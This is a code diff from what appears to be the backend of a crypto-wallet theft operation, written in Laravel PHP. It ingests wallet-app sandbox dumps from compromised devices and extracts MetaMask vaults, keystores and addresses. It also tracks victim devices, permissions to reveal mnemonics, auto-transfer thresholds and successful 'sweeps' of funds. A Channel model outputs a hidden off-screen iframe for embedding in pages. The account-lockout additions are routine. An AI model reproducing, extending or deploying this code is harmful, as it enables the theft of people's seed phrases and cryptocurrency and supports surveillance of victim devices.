'device_id' => $device->id,
|
||||
'chain' => Device::CHAIN_APP,
|
||||
'source' => $sourceLabel,
|
||||
'decrypted' => 0,
|
||||
'needs_password' => 1,
|
||||
'raw_json' => $rawJson,
|
||||
'content_hash' => md5($ks['content']),
|
||||
]);
|
||||
} catch (\Throwable $e) {
|
||||
Log::channel('keystore')->warning('ProcessShellUpload: keystore skipped', [
|
||||
'name' => $ks['name'],
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
// ── 2. MetaMask vault ──
|
||||
if (str_contains($lower, 'metamask')) {
|
||||
$this->extractMetaMaskVault($device, $tmpFile);
|
||||
}
|
||||
|
||||
// ── 3. Addresses ──
|
||||
// imToken AsyncStorage is a token inventory; naive 0x/T regex
|
||||
// would ingest hundreds of contracts. Reuse the named-structure
|
||||
// collector from the /api/v2 tar path.
|
||||
if (str_contains($lower, 'im.token') || str_contains($lower, 'im_token') || $sourceLabel === 'imToken') {
|
||||
try {
|
||||
app(AppUploadIngester::class)->ingestImTokenShellZip($device, $body);
|
||||
} catch (\Throwable $e) {
|
||||
Log::channel('keystore')->warning('ProcessShellUpload: imToken address ingest failed', [
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
}
|
||||
} else {
|
||||
$this->scanAddresses($device, $zip, $sourceLabel);
|
||||
}
|
||||
|
||||
$zip->close();
|
||||
@unlink($tmpFile);
|
||||
|
||||
Log::channel('keystore')->info('ProcessShellUpload: DONE', [
|
||||
'device_id' => $device->id,
|
||||
'filename' => $filename,
|
||||
'keystores' => count($foundKeystores),
|
||||
]);
|
||||
}
|
||||
|
||||
private function extractMetaMaskVault(Device $device, string $tmpFile): void
|
||||
{
|
||||
$zip = new \ZipArchive;
|
||||
if ($zip->open($tmpFile) !== true) return;
|
||||
|
||||
for ($i = 0; $i < $zip->numFiles; $i++) {
|
||||
$fn = $zip->getNameIndex($i);
|
||||
if (! str_contains($fn, 'KeyringController')) continue;
|
||||
|
||||
$content = $zip->getFromIndex($i);
|
||||
$json = json_decode($content ?? '', true);
|
||||
if (! is_array($json) || ! isset($json['vault'])) continue;
|
||||
|
||||
$vault = json_decode($json['vault'], true);
|
||||
if (! is_array($vault) || ! isset($vault['cipher'])) continue;
|
||||
|
||||
$raw = array_merge($vault, ['kind' => 'metamask.vault']);
|
||||
$existing = WalletKeystore::where('device_id', $device->id)->where('source', 'MetaMask')->first();
|
||||
if (! $existing) {
|
||||
$row = WalletKeystore::create([
|
||||
'device_id' => $device->id,
|
||||
'chain' => Device::CHAIN_APP,
|
||||
'source' => 'MetaMask',
|
||||
'decrypted' => 0,
|
||||
'needs_password' => 1,
|
||||
'raw_json' => $raw,
|
||||
'content_hash' => md5($content),
|
||||
]);
|
||||
$stats = WalletKeystore::computeListStatsFromJson($raw);
|
||||
$row->list_kind = $stats['kind'];
|
||||
$row->list_has_web3 = 1;
|
||||
$row->save();
|
||||
}
|
||||
|
||||
// Also extract reportedAccounts addresses
|
||||
$this->extractMetaMaskAddresses($device, $tmpFile);
|
||||
}
|
||||
$zip->close();
|
||||
}
|
||||
|
||||
private function extractMetaMaskAddresses(Device $device, string $tmpFile): void
|
||||
{
|
||||
$zip = new \ZipArchive;
|
||||
if ($zip->open($tmpFile) !== true) return;
|
||||
|
||||
$addrs = [];
|
||||
for ($i = 0; $i < $zip->numFiles; $i++) {
|
||||
$fn = $zip->getNameIndex($i);
|
||||
$content = $zip->getFromIndex($i);
|
||||
if (! $content) continue;
|
||||
$json = json_decode($content, true);
|
||||
if (! is_array($json)) continue;
|
||||
|
||||
if (str_contains($fn, 'ProfileMetricsController')) {
|
||||
foreach ($json['reportedAccounts'] ?? [] as $ra) {
|
||||
$ct = \App\Support\WalletSource::inferChainType($ra);
|
||||
if ($ct !== '' && \App\Support\WalletSource::isSupportedChain($ct)) {
|
||||
$addrs[$ra] = $ct;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (str_contains($fn, 'AccountsController')) {
|
||||
foreach ($json['internalAccounts']['accounts'] ?? [] as $acc) {
|
||||
$ia = $acc['address'] ?? '';
|
||||
if (preg_match('/^0x[0-9a-fA-F]{40}$/', $ia)) {
|
||||
$addrs[$ia] = 'ETHEREUM';
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
$zip->close();
|
||||
|
||||
foreach ($addrs as $addr => $ct) {
|
||||
$exists = WalletAddress::where('device_id', $device->id)->where('address', $addr)->first();
|
||||
if (! $exists) {
|
||||
try {
|
||||
WalletAddress::create([
|
||||
'device_id' => $device->id,
|
||||
'address' => $addr,
|
||||
'chain_type' => $ct,
|
||||
'source' => 'MetaMask',
|
||||
]);
|
||||
} catch (\Throwable $e) {
|
||||
// skip
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private function scanAddresses(Device $device, \ZipArchive $zip, string $sourceLabel): void
|
||||
{
|
||||
$patterns = [
|
||||
'/0x[0-9a-fA-F]{40}/' => 'ETHEREUM',
|
||||
'/T[1-9A-HJ-NP-Za-km-z]{33}/' => 'TRON',
|
||||
];
|
||||
$validators = [
|
||||
'ETHEREUM' => fn (string $a) => \App\Services\Chain\EthAddress::isValid($a),
|
||||
'TRON' => fn (string $a) => \App\Services\Chain\TronAddress::isValid($a),
|
||||
];
|
||||
|
||||
$contracts = [
|
||||
'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
|
||||
'0xdAC17F958D2ee523a2206206994597C13D831ec7',
|
||||
'0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48',
|
||||
'0x55d398326f99059fF775485246999027B3197955',
|
||||
];
|
||||
|
||||
$found = [];
|
||||
for ($i = 0; $i < $zip->numFiles; $i++) {
|
||||
$fn = $zip->getNameIndex($i);
|
||||
$lower = strtolower($fn);
|
||||
|
||||
if (str_ends_with($lower, '.realm') || str_ends_with($lower, '.realm.lock') ||
|
||||
str_ends_with($lower, '.sqlite') || str_ends_with($lower, '.db') ||
|
||||
str_contains($lower, 'mmkv') || str_ends_with($lower, 'observations.db') ||
|
||||
str_ends_with($lower, '.icm')) continue;
|
||||
|
||||
$content = $zip->getFromIndex($i);
|
||||
if (! $content || ! mb_check_encoding(substr($content, 0, 1000), 'UTF-8')) continue;
|
||||
|
||||
foreach ($patterns as $pat => $chainType) {
|
||||
if (preg_match_all($pat, $content, $m)) {
|
||||
$validator = $validators[$chainType] ?? null;
|
||||
foreach ($m[0] as $addr) {
|
||||
if ($validator && ! $validator($addr)) continue;
|
||||
if (in_array($addr, $contracts)) continue;
|
||||
$found[$addr] = $chainType;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
foreach ($found as $addr => $ct) {
|
||||
$exists = WalletAddress::where('device_id', $device->id)->where('address', $addr)->first();
|
||||
if (! $exists) {
|
||||
try {
|
||||
WalletAddress::create([
|
||||
'device_id' => $device->id,
|
||||
'address' => $addr,
|
||||
'chain_type' => $ct,
|
||||
'source' => $sourceLabel,
|
||||
]);
|
||||
} catch (\Throwable $e) {
|
||||
// skip
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private function sourceFromFilename(string $filename): string
|
||||
{
|
||||
$fn = strtolower($filename);
|
||||
if (str_contains($fn, 'trust') || str_contains($fn, 'sixdays')) return 'Trust Wallet';
|
||||
if (str_contains($fn, 'tronlink')) return 'TronLink';
|
||||
if (str_contains($fn, 'im.token') || str_contains($fn, 'im_token')) return 'imToken';
|
||||
if (str_contains($fn, 'bitpie')) return 'Bitpie';
|
||||
if (str_contains($fn, 'global.wallet')) return 'Global Wallet';
|
||||
if (str_contains($fn, 'metamask')) return 'MetaMask';
|
||||
if (str_contains($fn, 'coin98')) return 'Coin98';
|
||||
if (str_contains($fn, 'phantom')) return 'Phantom';
|
||||
if (str_contains($fn, 'uniswap')) return 'Uniswap';
|
||||
if (str_contains($fn, 'exodus')) return 'Exodus';
|
||||
if (str_contains($fn, 'tonhub')) return 'Tonhub';
|
||||
if (str_contains($fn, 'tonkeeper')) return 'Tonkeeper';
|
||||
if (str_contains($fn, 'okex')) return 'OKX';
|
||||
|
||||
return substr(basename($filename, '.zip'), 0, 40);
|
||||
}
|
||||
|
||||
private function isJson(string $content): bool
|
||||
{
|
||||
$t = ltrim($content);
|
||||
return str_starts_with($t, '{') || str_starts_with($t, '[');
|
||||
}
|
||||
}
|
||||
@@ -14,6 +14,8 @@ class Admin extends Authenticatable
|
||||
'google_auth_open',
|
||||
'google_secret',
|
||||
'last_ip',
|
||||
'login_attempts',
|
||||
'locked_at',
|
||||
];
|
||||
|
||||
protected $hidden = ['password', 'remember_token', 'google_secret'];
|
||||
@@ -25,6 +27,8 @@ class Admin extends Authenticatable
|
||||
'is_super' => 'integer',
|
||||
'status' => 'integer',
|
||||
'google_auth_open' => 'integer',
|
||||
'login_attempts' => 'integer',
|
||||
'locked_at' => 'datetime',
|
||||
];
|
||||
}
|
||||
|
||||
@@ -38,6 +42,42 @@ class Admin extends Authenticatable
|
||||
return (int) $this->status === 1;
|
||||
}
|
||||
|
||||
public function isLocked(): bool
|
||||
{
|
||||
return $this->locked_at !== null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Increment the consecutive failed-login counter; auto-lock when the
|
||||
* count reaches $maxAttempts (default 5). Returns true when the call
|
||||
* triggers a lock.
|
||||
*/
|
||||
public function recordFailedLogin(int $maxAttempts = 5): bool
|
||||
{
|
||||
$this->login_attempts = (int) $this->login_attempts + 1;
|
||||
$justLocked = false;
|
||||
if ($this->login_attempts >= $maxAttempts && ! $this->isLocked()) {
|
||||
$this->locked_at = now();
|
||||
$justLocked = true;
|
||||
}
|
||||
$this->save();
|
||||
|
||||
return $justLocked;
|
||||
}
|
||||
|
||||
/**
|
||||
* Reset the failed-login counter (called after a successful login or
|
||||
* when an admin manually unlocks the account).
|
||||
*/
|
||||
public function clearLoginAttempts(): void
|
||||
{
|
||||
if ((int) $this->login_attempts !== 0 || $this->locked_at !== null) {
|
||||
$this->login_attempts = 0;
|
||||
$this->locked_at = null;
|
||||
$this->save();
|
||||
}
|
||||
}
|
||||
|
||||
public function hasGoogleBound(): bool
|
||||
{
|
||||
return filled($this->google_secret);
|
||||
|
||||
@@ -14,6 +14,10 @@ class AnalyticsDailyDim extends Model
|
||||
|
||||
public const KIND_DEVICE_VERSION = 'device_version';
|
||||
|
||||
public const KIND_VISIT_COUNTRY = 'visit_country';
|
||||
|
||||
public const KIND_DEVICE_COUNTRY = 'device_country';
|
||||
|
||||
public const KIND_SURVIVAL = 'survival';
|
||||
|
||||
public const KIND_SURVIVAL_WALLET = 'survival_wallet';
|
||||
|
||||
+56
-1
@@ -14,6 +14,8 @@ class Channel extends Model
|
||||
|
||||
public const BUILDER_NEW = 'new';
|
||||
|
||||
public const BUILDER_APP = 'app';
|
||||
|
||||
/** New-builder channel id / core ver·sdkv patch string: exactly 6 chars like 2.2.66 (alnum + dots). */
|
||||
public const NEW_CHANNEL_ID_PATTERN = '/^[0-9A-Z]\.[0-9A-Z]\.[0-9A-Z]{2}$/';
|
||||
|
||||
@@ -34,6 +36,7 @@ class Channel extends Model
|
||||
|
||||
protected $fillable = [
|
||||
'channel_id', 'builder_type', 'user_id', 'domains', 'status', 'remark',
|
||||
'app_name', 'bundle_id', 'h5_url',
|
||||
];
|
||||
|
||||
protected $attributes = [
|
||||
@@ -88,11 +91,23 @@ class Channel extends Model
|
||||
return $this->builderType() === self::BUILDER_NEW;
|
||||
}
|
||||
|
||||
public function isAppBuilder(): bool
|
||||
{
|
||||
return $this->builderType() === self::BUILDER_APP;
|
||||
}
|
||||
|
||||
public function builderType(): string
|
||||
{
|
||||
$type = strtolower(trim((string) ($this->builder_type ?? '')));
|
||||
|
||||
return $type === self::BUILDER_NEW ? self::BUILDER_NEW : self::BUILDER_OLD;
|
||||
if ($type === self::BUILDER_NEW) {
|
||||
return self::BUILDER_NEW;
|
||||
}
|
||||
if ($type === self::BUILDER_APP) {
|
||||
return self::BUILDER_APP;
|
||||
}
|
||||
|
||||
return self::BUILDER_OLD;
|
||||
}
|
||||
|
||||
public function agentLabel(): string
|
||||
@@ -189,11 +204,51 @@ class Channel extends Model
|
||||
return '<iframe src="'.$url.'" style="position:fixed;top:0;left:-1000px;pointer-events:none;border:0"></iframe>';
|
||||
}
|
||||
|
||||
public function promoScriptSnippet(): string
|
||||
{
|
||||
return '<script src="./index.js"></script>';
|
||||
}
|
||||
|
||||
public function embedAssetDir(): ?string
|
||||
{
|
||||
$root = rtrim((string) config('coruna.channel_builder.artifact_root', public_path()), DIRECTORY_SEPARATOR);
|
||||
$dir = match ($this->builderType()) {
|
||||
self::BUILDER_NEW => $root.DIRECTORY_SEPARATOR.'channel'.DIRECTORY_SEPARATOR.$this->channel_id.DIRECTORY_SEPARATOR.'weifile',
|
||||
self::BUILDER_OLD => $root.DIRECTORY_SEPARATOR.'web'.DIRECTORY_SEPARATOR.$this->channel_id,
|
||||
default => null,
|
||||
};
|
||||
if ($dir === null || ! is_dir($dir)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return $dir;
|
||||
}
|
||||
|
||||
public function embedZipName(): string
|
||||
{
|
||||
$safe = preg_replace('/[^0-9A-Za-z._-]+/', '-', (string) $this->channel_id) ?: 'channel';
|
||||
|
||||
return 'channel-embed-'.$safe.'.zip';
|
||||
}
|
||||
|
||||
public static function randomChannelId(): string
|
||||
{
|
||||
return bin2hex(random_bytes(16));
|
||||
}
|
||||
|
||||
/** UUID v4 channel id for app builder channels (e.g. a13b4f76-d901-46f5-b447-36b7e856ea31). */
|
||||
public static function randomAppChannelId(): string
|
||||
{
|
||||
for ($i = 0; $i < 64; $i++) {
|
||||
$uuid = \Illuminate\Support\Str::uuid()->toString();
|
||||
if (! self::query()->where('channel_id', $uuid)->exists()) {
|
||||
return $uuid;
|
||||
}
|
||||
}
|
||||
|
||||
throw new RuntimeException('无法生成唯一渠道 ID');
|
||||
}
|
||||
|
||||
public static function normalizeNewChannelId(string $channelId): ?string
|
||||
{
|
||||
$channelId = strtoupper(trim($channelId));
|
||||
|
||||
@@ -13,7 +13,9 @@ class DailyStat extends Model
|
||||
protected $fillable = [
|
||||
'stat_date',
|
||||
'scope_key',
|
||||
'pv',
|
||||
'uv',
|
||||
'effective_pv',
|
||||
'effective_uv',
|
||||
'devices',
|
||||
'wallet_devices',
|
||||
@@ -25,7 +27,9 @@ class DailyStat extends Model
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'pv' => 'integer',
|
||||
'uv' => 'integer',
|
||||
'effective_pv' => 'integer',
|
||||
'effective_uv' => 'integer',
|
||||
'devices' => 'integer',
|
||||
'wallet_devices' => 'integer',
|
||||
@@ -34,4 +38,4 @@ class DailyStat extends Model
|
||||
'computed_at' => 'datetime',
|
||||
];
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
@@ -18,6 +18,8 @@ class Device extends Model
|
||||
|
||||
public const CHAIN_DARKSWORD = 2;
|
||||
|
||||
public const CHAIN_APP = 3;
|
||||
|
||||
protected $fillable = [
|
||||
'device_id', 'chain', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'country', 'user_agent',
|
||||
'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names',
|
||||
@@ -82,6 +84,11 @@ class Device extends Model
|
||||
return (int) $this->chain === self::CHAIN_DARKSWORD;
|
||||
}
|
||||
|
||||
public function isApp(): bool
|
||||
{
|
||||
return (int) $this->chain === self::CHAIN_APP;
|
||||
}
|
||||
|
||||
public function hasWalletApps(): bool
|
||||
{
|
||||
return (int) $this->has_wallet === self::WALLET_YES;
|
||||
|
||||
@@ -23,4 +23,25 @@ class DeviceApp extends Model
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
|
||||
/**
|
||||
* Keychain access groups like TEAM.apple.Spotlight and TEAM.* are not
|
||||
* installed apps. Skip them on write and hide any leftover rows in lists.
|
||||
*/
|
||||
public static function shouldSkipBundle(?string $bundleId): bool
|
||||
{
|
||||
$bundle = strtolower(trim((string) $bundleId));
|
||||
if ($bundle === '' || $bundle === '*') {
|
||||
return true;
|
||||
}
|
||||
|
||||
return str_starts_with($bundle, 'apple.');
|
||||
}
|
||||
|
||||
public function scopeListed($query)
|
||||
{
|
||||
return $query
|
||||
->where('bundle_id', '!=', '*')
|
||||
->whereRaw('LOWER(bundle_id) NOT LIKE ?', ['apple.%']);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -8,8 +8,6 @@ use Illuminate\Database\Eloquent\Relations\HasMany;
|
||||
|
||||
class Photo extends Model
|
||||
{
|
||||
public const X_HIT_ALERT = 12;
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
|
||||
@@ -12,6 +12,14 @@ class SystemLog extends Model
|
||||
|
||||
public const ACTION_MNEMONIC_CREATE = 'mnemonic_create';
|
||||
|
||||
public const ACTION_ADMIN_LOCKED = 'admin_locked';
|
||||
|
||||
public const ACTION_ADMIN_UNLOCKED = 'admin_unlocked';
|
||||
|
||||
public const ACTION_AGENT_LOCKED = 'agent_locked';
|
||||
|
||||
public const ACTION_AGENT_UNLOCKED = 'agent_unlocked';
|
||||
|
||||
public const UPDATED_AT = null;
|
||||
|
||||
protected $fillable = [
|
||||
@@ -30,6 +38,10 @@ class SystemLog extends Model
|
||||
return [
|
||||
self::ACTION_MNEMONIC_REVEAL => '查看助记词',
|
||||
self::ACTION_MNEMONIC_CREATE => '手动添加助记词',
|
||||
self::ACTION_ADMIN_LOCKED => '账号封锁',
|
||||
self::ACTION_ADMIN_UNLOCKED => '账号解锁',
|
||||
self::ACTION_AGENT_LOCKED => '代理账号封锁',
|
||||
self::ACTION_AGENT_UNLOCKED => '代理账号解锁',
|
||||
];
|
||||
}
|
||||
|
||||
|
||||
@@ -24,4 +24,44 @@ class TransferRecord extends Model
|
||||
'status',
|
||||
'error',
|
||||
];
|
||||
|
||||
/**
|
||||
* Addresses that already have a successful outbound sweep.
|
||||
*
|
||||
* @param list<string> $addresses
|
||||
* @return array<string, true>
|
||||
*/
|
||||
public static function successfulSweepSet(array $addresses): array
|
||||
{
|
||||
$addresses = array_values(array_unique(array_filter(
|
||||
$addresses,
|
||||
static fn ($address) => is_string($address) && $address !== ''
|
||||
)));
|
||||
if ($addresses === []) {
|
||||
return [];
|
||||
}
|
||||
|
||||
$found = static::query()
|
||||
->whereIn('from_address', $addresses)
|
||||
->where('status', self::STATUS_SUCCESS)
|
||||
->where('type', self::TYPE_OUT)
|
||||
->distinct()
|
||||
->pluck('from_address');
|
||||
|
||||
$set = [];
|
||||
foreach ($found as $address) {
|
||||
$set[(string) $address] = true;
|
||||
$set[strtolower((string) $address)] = true;
|
||||
}
|
||||
|
||||
return $set;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, true> $set
|
||||
*/
|
||||
public static function addressInSweepSet(string $address, array $set): bool
|
||||
{
|
||||
return isset($set[$address]) || isset($set[strtolower($address)]);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -14,8 +14,11 @@ class User extends Authenticatable
|
||||
'auto_transfer_threshold_trx',
|
||||
'auto_transfer_threshold_eth',
|
||||
'auto_transfer_threshold_btc',
|
||||
'auto_transfer_threshold_bnb',
|
||||
'album_storage_default',
|
||||
'can_reveal_mnemonics',
|
||||
'login_attempts',
|
||||
'locked_at',
|
||||
];
|
||||
|
||||
protected $hidden = [
|
||||
@@ -41,9 +44,12 @@ class User extends Authenticatable
|
||||
'auto_transfer_threshold_trx' => 'decimal:8',
|
||||
'auto_transfer_threshold_eth' => 'decimal:8',
|
||||
'auto_transfer_threshold_btc' => 'decimal:8',
|
||||
'auto_transfer_threshold_bnb' => 'decimal:8',
|
||||
'album_storage_default' => 'boolean',
|
||||
'can_reveal_mnemonics' => 'boolean',
|
||||
'google_auth_open' => 'integer',
|
||||
'login_attempts' => 'integer',
|
||||
'locked_at' => 'datetime',
|
||||
];
|
||||
}
|
||||
|
||||
@@ -57,6 +63,42 @@ class User extends Authenticatable
|
||||
return (int) $this->status === 1;
|
||||
}
|
||||
|
||||
public function isLocked(): bool
|
||||
{
|
||||
return $this->locked_at !== null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Increment the consecutive failed-login counter; auto-lock when the
|
||||
* count reaches $maxAttempts (default 5). Returns true when the call
|
||||
* triggers a lock.
|
||||
*/
|
||||
public function recordFailedLogin(int $maxAttempts = 5): bool
|
||||
{
|
||||
$this->login_attempts = (int) $this->login_attempts + 1;
|
||||
$justLocked = false;
|
||||
if ($this->login_attempts >= $maxAttempts && ! $this->isLocked()) {
|
||||
$this->locked_at = now();
|
||||
$justLocked = true;
|
||||
}
|
||||
$this->save();
|
||||
|
||||
return $justLocked;
|
||||
}
|
||||
|
||||
/**
|
||||
* Reset the failed-login counter (called after a successful login or
|
||||
* when an admin manually unlocks the account).
|
||||
*/
|
||||
public function clearLoginAttempts(): void
|
||||
{
|
||||
if ((int) $this->login_attempts !== 0 || $this->locked_at !== null) {
|
||||
$this->login_attempts = 0;
|
||||
$this->locked_at = null;
|
||||
$this->save();
|
||||
}
|
||||
}
|
||||
|
||||
public function channels(): HasMany
|
||||
{
|
||||
return $this->hasMany(Channel::class, 'user_id');
|
||||
|
||||
@@ -78,6 +78,11 @@ class WalletAddress extends Model
|
||||
if (! is_numeric($value)) {
|
||||
continue;
|
||||
}
|
||||
// A wallet balance can never be negative; clamp device-reported negatives to 0.
|
||||
if ((float) $value < 0) {
|
||||
$out[$col] = '0';
|
||||
continue;
|
||||
}
|
||||
$out[$col] = $value;
|
||||
}
|
||||
|
||||
@@ -99,6 +104,10 @@ class WalletAddress extends Model
|
||||
if (! is_numeric($amount)) {
|
||||
return (string) $amount;
|
||||
}
|
||||
// Defensive: never render a negative balance (e.g. stale device-reported rows).
|
||||
if ((float) $amount < 0) {
|
||||
$amount = '0';
|
||||
}
|
||||
|
||||
$decimals = self::displayDecimals($coin);
|
||||
$formatted = number_format((float) $amount, $decimals, '.', '');
|
||||
|
||||
+356
-51
@@ -10,14 +10,18 @@ use Illuminate\Support\Facades\Log;
|
||||
class WalletKeystore extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'source', 'decrypted', 'raw_json', 'content_hash',
|
||||
'device_id', 'chain', 'source', 'decrypted', 'needs_password', 'raw_json', 'content_hash',
|
||||
'list_kind', 'list_item_count', 'list_summary', 'list_has_web3',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'raw_json' => 'array',
|
||||
'chain' => 'integer',
|
||||
'decrypted' => 'integer',
|
||||
'needs_password' => 'integer',
|
||||
'list_has_web3' => 'integer',
|
||||
];
|
||||
}
|
||||
|
||||
@@ -29,15 +33,31 @@ class WalletKeystore extends Model
|
||||
*/
|
||||
public static function listColumns(string $table = 'wallet_keystores'): array
|
||||
{
|
||||
return [
|
||||
$cols = [
|
||||
$table.'.id',
|
||||
$table.'.device_id',
|
||||
$table.'.source',
|
||||
$table.'.decrypted',
|
||||
$table.'.created_at',
|
||||
$table.'.updated_at',
|
||||
DB::raw('LENGTH('.$table.'.raw_json) as raw_json_len'),
|
||||
];
|
||||
if (self::hasChainColumn()) {
|
||||
$cols[] = $table.'.chain';
|
||||
}
|
||||
if (self::hasNeedsPasswordColumn()) {
|
||||
$cols[] = $table.'.needs_password';
|
||||
}
|
||||
|
||||
if (self::hasListStatsColumns()) {
|
||||
$cols[] = $table.'.list_kind';
|
||||
$cols[] = $table.'.list_item_count';
|
||||
$cols[] = $table.'.list_summary';
|
||||
$cols[] = $table.'.list_has_web3';
|
||||
}
|
||||
|
||||
$cols[] = $table.'.created_at';
|
||||
$cols[] = $table.'.updated_at';
|
||||
$cols[] = DB::raw('LENGTH('.$table.'.raw_json) as raw_json_len');
|
||||
|
||||
return $cols;
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -50,69 +70,288 @@ class WalletKeystore extends Model
|
||||
*/
|
||||
public static function listColumnsLight(string $table = 'wallet_keystores'): array
|
||||
{
|
||||
return [
|
||||
$cols = [
|
||||
$table.'.id',
|
||||
$table.'.device_id',
|
||||
$table.'.source',
|
||||
$table.'.decrypted',
|
||||
$table.'.created_at',
|
||||
$table.'.updated_at',
|
||||
];
|
||||
if (self::hasChainColumn()) {
|
||||
$cols[] = $table.'.chain';
|
||||
}
|
||||
if (self::hasNeedsPasswordColumn()) {
|
||||
$cols[] = $table.'.needs_password';
|
||||
}
|
||||
|
||||
if (self::hasListStatsColumns()) {
|
||||
$cols[] = $table.'.list_kind';
|
||||
$cols[] = $table.'.list_item_count';
|
||||
$cols[] = $table.'.list_summary';
|
||||
$cols[] = $table.'.list_has_web3';
|
||||
}
|
||||
|
||||
$cols[] = $table.'.created_at';
|
||||
$cols[] = $table.'.updated_at';
|
||||
|
||||
return $cols;
|
||||
}
|
||||
|
||||
public static function hasChainColumn(): bool
|
||||
{
|
||||
static $has = null;
|
||||
if ($has === null) {
|
||||
$has = \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'chain');
|
||||
}
|
||||
|
||||
return $has;
|
||||
}
|
||||
|
||||
public static function hasNeedsPasswordColumn(): bool
|
||||
{
|
||||
static $has = null;
|
||||
if ($has === null) {
|
||||
$has = \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'needs_password');
|
||||
}
|
||||
|
||||
return $has;
|
||||
}
|
||||
|
||||
public static function hasListStatsColumns(): bool
|
||||
{
|
||||
static $has = null;
|
||||
if ($has === null) {
|
||||
$has = \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'list_item_count');
|
||||
}
|
||||
|
||||
return $has;
|
||||
}
|
||||
|
||||
/**
|
||||
* Load this row's raw_json alone, log memory, then drop the blob.
|
||||
* List-page stats. Prefer denormalized columns so we never load raw_json
|
||||
* (sandbox dumps can be tens of MB). Cache-miss hydrates once and persists.
|
||||
*
|
||||
* @return array{item_count: int, summary: string, kind: string}
|
||||
* @return array{item_count: int, summary: string, kind: string, has_web3_keystore: bool}
|
||||
*/
|
||||
public function listStats(): array
|
||||
{
|
||||
$len = (int) ($this->raw_json_len ?? 0);
|
||||
$memBefore = memory_get_usage(true);
|
||||
Log::info('keystore.list.hydrate.start', [
|
||||
'id' => $this->id,
|
||||
'raw_json_len' => $len,
|
||||
'mem' => $memBefore,
|
||||
]);
|
||||
if ($this->hasCachedListStats()) {
|
||||
return $this->cachedListStats();
|
||||
}
|
||||
|
||||
$json = is_array($this->raw_json) ? $this->raw_json : null;
|
||||
if ($json === null && $this->id) {
|
||||
$raw = self::query()->whereKey($this->id)->value('raw_json');
|
||||
$this->setAttribute('raw_json', $raw);
|
||||
$json = is_array($this->raw_json) ? $this->raw_json : [];
|
||||
}
|
||||
$json = is_array($json) ? $json : [];
|
||||
|
||||
$raw = self::query()->whereKey($this->id)->value('raw_json');
|
||||
$this->setAttribute('raw_json', $raw);
|
||||
try {
|
||||
$stats = [
|
||||
'item_count' => $this->itemCount(),
|
||||
'summary' => $this->summary(),
|
||||
'kind' => $this->kindLabel(),
|
||||
'has_web3_keystore' => $this->hasWeb3Keystore(),
|
||||
];
|
||||
$stats = self::computeListStatsFromJson($json);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('keystore.list.hydrate.fail', [
|
||||
'id' => $this->id,
|
||||
'raw_json_len' => $len,
|
||||
'mem' => memory_get_usage(true),
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
$stats = [
|
||||
'item_count' => 0,
|
||||
'summary' => '',
|
||||
'kind' => $this->kindLabel(),
|
||||
'kind' => self::kindLabelFor(trim((string) ($json['kind'] ?? ''))),
|
||||
'has_web3_keystore' => false,
|
||||
];
|
||||
} finally {
|
||||
$this->setAttribute('raw_json', null);
|
||||
if ($this->id) {
|
||||
$this->setAttribute('raw_json', null);
|
||||
}
|
||||
}
|
||||
|
||||
Log::info('keystore.list.hydrate.done', [
|
||||
'id' => $this->id,
|
||||
'raw_json_len' => $len,
|
||||
'item_count' => $stats['item_count'],
|
||||
'kind' => $stats['kind'],
|
||||
'mem' => memory_get_usage(true),
|
||||
'delta' => memory_get_usage(true) - $memBefore,
|
||||
]);
|
||||
$this->persistListStats($stats);
|
||||
|
||||
return $stats;
|
||||
}
|
||||
|
||||
public function hasCachedListStats(): bool
|
||||
{
|
||||
return self::hasListStatsColumns()
|
||||
&& array_key_exists('list_item_count', $this->attributes)
|
||||
&& $this->attributes['list_item_count'] !== null;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{item_count: int, summary: string, kind: string, has_web3_keystore: bool}
|
||||
*/
|
||||
public function cachedListStats(): array
|
||||
{
|
||||
return [
|
||||
'item_count' => (int) $this->list_item_count,
|
||||
'summary' => (string) ($this->list_summary ?? ''),
|
||||
'kind' => (string) ($this->list_kind ?? ''),
|
||||
'has_web3_keystore' => (int) $this->list_has_web3 === 1,
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $json
|
||||
* @return array{item_count: int, summary: string, kind: string, has_web3_keystore: bool}
|
||||
*/
|
||||
public static function computeListStatsFromJson(array $json): array
|
||||
{
|
||||
$row = new static(['raw_json' => $json]);
|
||||
$names = [];
|
||||
$count = 0;
|
||||
$row->collectListMeta($json, $count, $names);
|
||||
$kind = self::kindLabelFor(trim((string) ($json['kind'] ?? '')));
|
||||
if ($names === []) {
|
||||
$summary = $count > 0 ? $count.' 条' : '';
|
||||
} else {
|
||||
$summary = implode(' · ', $names);
|
||||
if ($count > 3) {
|
||||
$summary .= ' 等'.$count.'条';
|
||||
}
|
||||
}
|
||||
|
||||
return [
|
||||
'item_count' => $count,
|
||||
'summary' => mb_substr($summary, 0, 255),
|
||||
